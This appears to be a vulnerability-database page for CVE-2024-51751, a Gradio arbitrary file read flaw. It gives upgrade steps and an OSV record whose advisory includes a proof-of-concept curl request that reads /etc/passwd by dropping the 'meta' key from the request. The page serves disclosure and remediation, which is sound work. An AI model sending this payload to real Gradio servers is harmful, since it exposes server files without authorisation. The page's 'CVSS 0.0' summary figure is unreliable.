CVE-2024-51751: Gradio Gradio Vulnerable To Arbitrary File Vulnerability
MODERATECVE-2024-51751 is a MODERATE (CVSS 0.0) gradio vulnerable to arbitrary file vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Gradio libraries in the PyPI ecosystem. The issue involves gradio vulnerable to arbitrary file read with file and uploadbutton components. Remediation is available by upgrading affected packages to version 5.5.0.
CVE-2024-51751 at a Glance
Security Impact
CVSS: 0.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N).
How to Fix CVE-2024-51751
To remediate this vulnerability, upgrade all affected Gradio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install gradio>=5.5.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show gradio
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-51751, inspect your installed packages using pip:
pip show gradio
Analyze the terminal output to locate any version of Gradio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.5.0), your application is affected.
Note: The pip show gradio command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Gradio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-51751 Affected Gradio Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
gradio
|
PyPI |
≥ 5.0.0
< 5.5.0
|
5.5.0
|
References
Frequently Asked Questions
What is CVE-2024-51751?
Which Gradio versions are affected?
What version fixes CVE-2024-51751?
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What is the CVSS score of CVE-2024-51751?
What CWE is associated with CVE-2024-51751?
How can I check PyPI dependencies for CVE-2024-51751?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rhm9-gp5p-5248",
"modified" : "2026-06-05T17:54:38Z",
"published" : "2024-11-06T16:29:57Z",
"aliases" : [ "CVE-2024-51751" ],
"summary" : "Gradio vulnerable to arbitrary file read with File and UploadButton components",
"details" : "### Summary\nIf File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.\n\n### Details\nConsider the following application where a user can upload a file and preview its content:\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n demo.launch()\n```\n\nIf we run this application and make the following request (which attempts to read the `/etc/passwd` file)\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\",\"meta\":{\"_type\":\"gradio.FileData\"}}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\nThen this results in the following error on the server\n\n```\ngradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.\n``` \n\nThis is expected. However, if we now remove the `\"meta\":{\"_type\":\"gradio.FileData\"}` from the request:\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\nThis doesn't cause an error and results in the content of /etc/passwd being shown in the response!\n\n\nThis works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation\n```\n return await client_utils.async_traverse(\n data, _move_to_cache, client_utils.is_file_obj_with_meta\n )\n```\nwhere `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path:\n\n```\ndef is_file_obj_with_meta(d) -> bool:\n \"\"\"\n Check if the given value is a valid FileData object dictionary in newer versions of Gradio\n where the file objects include a specific \"meta\" key, e.g.\n {\n \"path\": \"path/to/file\",\n \"meta\": {\"_type: \"gradio.FileData\"}\n }\n \"\"\"\n return (\n isinstance(d, dict)\n and \"path\" in d\n and isinstance(d[\"path\"], str)\n and \"meta\" in d\n and d[\"meta\"].get(\"_type\", \"\") == \"gradio.FileData\"\n )\n```\n\nFor example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`.\n\nThen, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places)\n\n### PoC\nAs described above, run the following Gradio app\n\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n demo.launch()\n```\n\nAnd make the following request\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\n### Impact\nArbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "gradio"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.0.0"
}, {
"fixed" : "5.5.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gradio-app/gradio/security/advisories/GHSA-rhm9-gp5p-5248"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-51751"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gradio-app/gradio"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2024-275.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-11-06T16:29:57Z",
"nvd_published_at" : "2024-11-06T20:15:05Z"
}
}